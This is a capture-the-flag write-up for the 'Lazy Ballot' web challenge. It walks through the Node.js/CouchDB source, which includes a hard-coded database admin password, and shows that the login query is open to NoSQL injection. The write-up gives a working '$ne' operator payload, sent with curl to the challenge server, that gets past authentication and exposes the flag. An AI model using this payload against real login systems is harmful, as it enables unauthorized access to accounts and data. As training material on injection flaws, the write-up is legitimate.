Lazy Ballot
3 minutes to read
We are given a website like this:
We are also given the server source code in Node.js.
Source code analysis
This is routes/index.js
:
const express = require("express");
const router = express.Router({ caseSensitive: true });
const AuthMiddleware = require("../middleware/auth");
let db;
const response = (data) => ({ resp: data });
router.get("/", (req, res) => {
return res.render("index.pug");
});
router.get("/login", async (req, res) => {
if (req.session.authenticated) {
return res.redirect("/dashboard");
}
return res.render("login.pug");
});
router.get("/logout", (req, res) => {
req.session.destroy();
return res.redirect("/");
});
router.get("/dashboard", AuthMiddleware, async (req, res) => {
return res.render("panel.pug");
});
router.get("/api/votes/list", AuthMiddleware, async (req, res) => {
const allVotes = await db.listVotes();
return res.send(response(allVotes));
});
router.post("/api/login", async (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(403).send(response("Missing parameters"));
}
if (!await db.loginUser(username, password)) {
return res.status(403).send(response("Invalid username or password"));
}
req.session.authenticated = true;
return res.send(response("User authenticated successfully"));
});
module.exports = (database) => {
db = database;
return router;
};
As can be seen, we have a login form:
We must log in to see the dashboard and to access the endpoint /api/votes/list
(protected by AuthMiddleware
in middleware/auth.js
):
module.exports = async (req, res, next) => {
if (!req.session.authenticated) {
return res.status(401).send({message: "Not authenticated"});
}
next();
};
Let’s take a look at the database implementation (helpers/database.js
):
const fs = require("fs");
const crypto = require("crypto");
const nano = require("nano");
class Database {
async init() {
this.flag = await fs.readFileSync("/flag.txt").toString();
this.regions = [ /* ... */ ];
this.parties = [ /* ... */ ];
this.couch = nano("http://admin:youwouldntdownloadacouch@localhost:5984");
const err = await this.couch.db.create("users");
if (err && err.statusCode != 412) {
console.error(err);
}
const pass = crypto.randomBytes(13).toString("hex");
this.userdb = this.couch.use("users");
let adminUser = {
username: "admin",
password: pass,
};
this.userdb.insert(adminUser, adminUser.username);
this.seedVotes();
}
async seedVotes() {
const err = await this.couch.db.create("votes");
if (err && err.statusCode != 412) {
console.error(err);
}
this.votesdb = this.couch.use("votes");
const voteCount = 180;
console.log(`[+] Generating and inserting ${voteCount} votes`);
for (let i = 0; i <= voteCount; i++) {
const region = this.regions[Math.floor(Math.random() * this.regions.length)];
const party = this.parties[Math.floor(Math.random() * this.parties.length)];
const vote = {
"region": i == voteCount ? this.flag : region,
"party": party,
"verified": i > (voteCount / 2) ? false : true
}
this.votesdb.insert(vote, i);
}
console.log("[+] OK");
}
async loginUser(username, password) {
const options = {
selector: {
username: username,
password: password,
},
};
const resp = await this.userdb.find(options);
if (resp.docs.length) return true;
return false;
}
async listVotes() {
const votes = await this.votesdb.list({ include_docs: true });
const obj = {
regions: this.regions,
parties: this.parties,
votes: votes.rows
}
return obj;
}
}
module.exports = Database;
Important things to notice:
- The database manager is CouchDB, which is a NoSQL database
- The function
seedVotes
will return the flag in certainregion
field - The
login
function is vulnerable to NoSQL injection becauseusername
andpassword
come directly from the HTTP request body and they are inserted into theselector
object, used to query the database
Authentication bypass
If we take a look at NoSQL injection payloads in HackTricks, we will see that something like the following will allow us to bypass authentication:
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
Let’s try it:
$ curl 83.136.253.251:34507/api/login -d '{"username":{"$ne":"x"},"password":{"$ne":"x"}}' -iH 'Content-Type: application/json'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 42
ETag: W/"2a-/VP0ESwtBCIUs0BlY9syO+ZDgmQ"
Set-Cookie: connect.sid=s%3ALu7NpsOv0LAxqmwJ3TMtq8M8uW7IRmKo.bY6XpzfDtOAOnHGavZLbk7TWOq4UG9P%2BXBuPbz97Itk; Path=/; HttpOnly
Date: Thu, 08 Feb 2024 15:06:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"resp":"User authenticated successfully"}
There we have it. Now we can grab the cookie and set it into the browser:
At this point, we know that the flag must appear in some of the votes shown in the web page. We can examine the response of the server to search for the flag:
Flag
And here it is:
HTB{c0rrupt3d_c0uch_b4ll0ts!}